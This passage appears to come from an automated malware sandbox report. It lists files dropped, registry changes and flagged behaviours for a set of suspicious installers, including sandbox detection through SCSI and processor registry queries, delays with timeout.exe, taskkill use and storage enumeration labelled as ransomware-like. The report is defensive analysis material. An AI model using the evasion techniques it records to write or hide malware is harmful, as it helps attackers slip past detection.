(x86)\MaskVPN\driver\winxp32\is-3C0R0.tmp vpn.tmp File created C:\Program Files (x86)\viewerise\unins000.dat timu5ok2mjx.tmp File created C:\Program Files (x86)\Install engine 16\is-296HM.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-OUQH2.tmp vpn.tmp File created C:\Program Files\api-ms-win-crt-string-l1-1-0.dll guihuali-game.exe File created C:\Program Files\unins.vbs guihuali-game.exe File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_0_pressed.png setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_2_hover.png setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\d.jfm jg7_7wjg.exe File opened for modification C:\Program Files (x86)\Install engine 16\PPMd.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-JDLKU.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Install engine 16\d3dcompiler_47.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\Install engine 16\Swap.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\viewerise\unins000.dat timu5ok2mjx.tmp File opened for modification C:\Program Files\unins0000.dll guihuali-game.exe File created C:\Program Files\javcse\install.dll 22.exe File opened for modification C:\Program Files (x86)\Advanced Trip\TrayIcon3.ico setup_10.2_us3.exe File created C:\Program Files (x86)\Install engine 16\is-I1VKR.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-7HI4T.tmp vpn.tmp File opened for modification C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\S4Q48Zp0Lo5T.exe Setup.exe File created C:\Program Files\unins0000.dat guihuali-game.exe File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_0_hover.png setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\viewerise\unins000.dat vict.tmp File created C:\Program Files\api-ms-win-crt-convert-l1-1-0.dll Full Version.exe File opened for modification C:\Program Files (x86)\Install engine 16\networkinspection.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\Install engine 16\is-GBAKR.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-0HGBK.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-OCJVK.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Advanced Trip\seed.exe setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\Advanced Trip\TrayIcon1.ico setup_10.2_us3.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-5C0BB.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-JT2EM.tmp vpn.tmp File created C:\Program Files (x86)\viewerise\is-4QL8B.tmp vict.tmp File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_3_normal.png setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\Advanced Trip\lang\en-US.xml setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\d jg7_7wjg.exe File created C:\Program Files (x86)\Install engine 16\is-4PUIB.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ssleay32.dll vpn.tmp File opened for modification C:\Program Files (x86)\Install engine 16\ucrtbase.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\Install engine 16\is-04RI0.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-VN0LU.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\unins000.msg vpn.tmp File opened for modification C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe Setup.exe File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_2_pressed.png setup_10.2_us3.exe File opened for modification C:\Program Files (x86)\MaskVPN\libCommon.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-OGFVC.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-73HI7.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-B7JMN.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Advanced Trip\images\gadget_button_1_hover.png setup_10.2_us3.exe File created C:\Program Files\unins0000.dat Full Version.exe File created C:\Program Files (x86)\Install engine 16\is-UVPE5.tmp IBInstaller_97039.tmp -
Drops file in Windows directory 35 IoCs
Processes:
svchost.exemultitimer.exemsiexec.exeaipackagechainer.exesvchost.exeMicrosoftEdge.exeDrvInst.exePING.EXEWerFault.exetapinstall.exemultitimer.exeMicrosoftEdge.exeMicrosoftEdge.exeWerFault.exedescription ioc process File opened for modification C:\Windows\Tasks\.job svchost.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File opened for modification C:\Windows\Installer\MSIC74D.tmp msiexec.exe File created C:\Windows\Tasks\.job aipackagechainer.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Installer\MSI4C1B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8A4A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE268.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIA325.tmp msiexec.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log PING.EXE File created C:\Windows\INF\oem2.PNF PING.EXE File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new WerFault.exe File created C:\Windows\Installer\f768113.msi msiexec.exe File opened for modification C:\Windows\Installer\f768113.msi msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIAC2E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC3E0.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI9FE6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC2B6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC4BB.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Installer\MSIA0F1.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAD58.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 18 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2464 5712 WerFault.exe 1sxp5422veg.exe 5364 5712 WerFault.exe 1sxp5422veg.exe 5440 5712 WerFault.exe 1sxp5422veg.exe 5636 5712 WerFault.exe 1sxp5422veg.exe 5480 5712 WerFault.exe 1sxp5422veg.exe 2328 5712 WerFault.exe 1sxp5422veg.exe 1416 5712 WerFault.exe 1sxp5422veg.exe 5184 5712 WerFault.exe 1sxp5422veg.exe 5296 1108 WerFault.exe 1.exe 3416 5712 WerFault.exe 1sxp5422veg.exe 6996 4068 WerFault.exe vcgcknhokim.exe 212 4068 WerFault.exe vcgcknhokim.exe 6788 4068 WerFault.exe vcgcknhokim.exe 5680 4068 WerFault.exe vcgcknhokim.exe 5916 4068 WerFault.exe vcgcknhokim.exe 6592 6760 WerFault.exe 1.exe 7104 4068 WerFault.exe vcgcknhokim.exe 5960 4068 WerFault.exe vcgcknhokim.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
PING.EXEsvchost.exesvchost.exetapinstall.exeDrvInst.exetapinstall.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2002 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\UpperFilters PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service PING.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\UpperFilters PING.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Phantom DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 4 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exepid process 5316 timeout.exe 5536 timeout.exe 4956 timeout.exe 6312 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
multitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4892 taskkill.exe 6424 taskkill.exe -
Processes:
browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exebrowser_broker.exeMicrosoftEdge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
app.exemask_svc.exeDrvInst.exeapp.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-111 = "Eastern Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-162 = "Central Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1471 = "Magadan Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1862 = "Russia TZ 6 Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-931 = "Coordinated Universal Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-52 = "Greenland Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-371 = "Jerusalem Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2771 = "Omsk Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1042 = "Ulaanbaatar Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2182 = "Astrakhan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" mask_svc.exe Key created 